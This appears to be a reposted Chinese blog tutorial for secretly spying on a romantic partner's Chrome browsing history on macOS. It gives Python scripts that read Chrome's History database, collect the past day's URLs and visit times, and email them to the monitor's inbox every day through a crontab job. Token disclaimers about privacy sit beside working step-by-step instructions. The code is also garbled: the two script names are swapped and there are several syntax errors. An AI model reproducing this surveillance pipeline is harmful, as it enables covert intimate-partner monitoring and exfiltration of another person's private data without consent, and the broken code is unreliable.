用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

  • A+
所属分类:学霸天地

用 Python监控了另一半的每天都在看的网站,我发现了一个秘密
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

背景:

(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 : smtp.qq.com
接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
用 Python监控了另一半的每天都在看的网站,我发现了一个秘密
(2) get_history.py:
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()

# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新''utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!''plain''utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r'as f:
# 设置附件的MIME和文件名,这里是py类型:
mime = MIMEBase('result''txt', filename='result.txt')
# 加上必要的头信息:
mime.add_header('Content-Disposition''attachment', filename='result.txt')
mime.add_header('Content-ID''<0>')
mime.add_header('X-Attachment-Id''0')
# 把附件的内容读进来:
mime.set_payload(f.read())
# 用Base64编码:
encoders.encode_base64(mime)
# 添加到MIMEMultipart:
msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()


通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
用 Python监控了另一半的每天都在看的网站,我发现了一个秘密
(3) send_email.py:
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()

2.选取我们想要的网址和访问时间
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()

3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w'as f:#改成自己的路径
for i in range(len(results)):
f.write(results[i][1]+'
'
)
f.write(results[i][0]+'
'
)


通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
用 Python监控了另一半的每天都在看的网站,我发现了一个秘密
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!

问题:

1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。

总结:

1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强

展望:

1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
原文始发于微信公众号(Python开发):用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: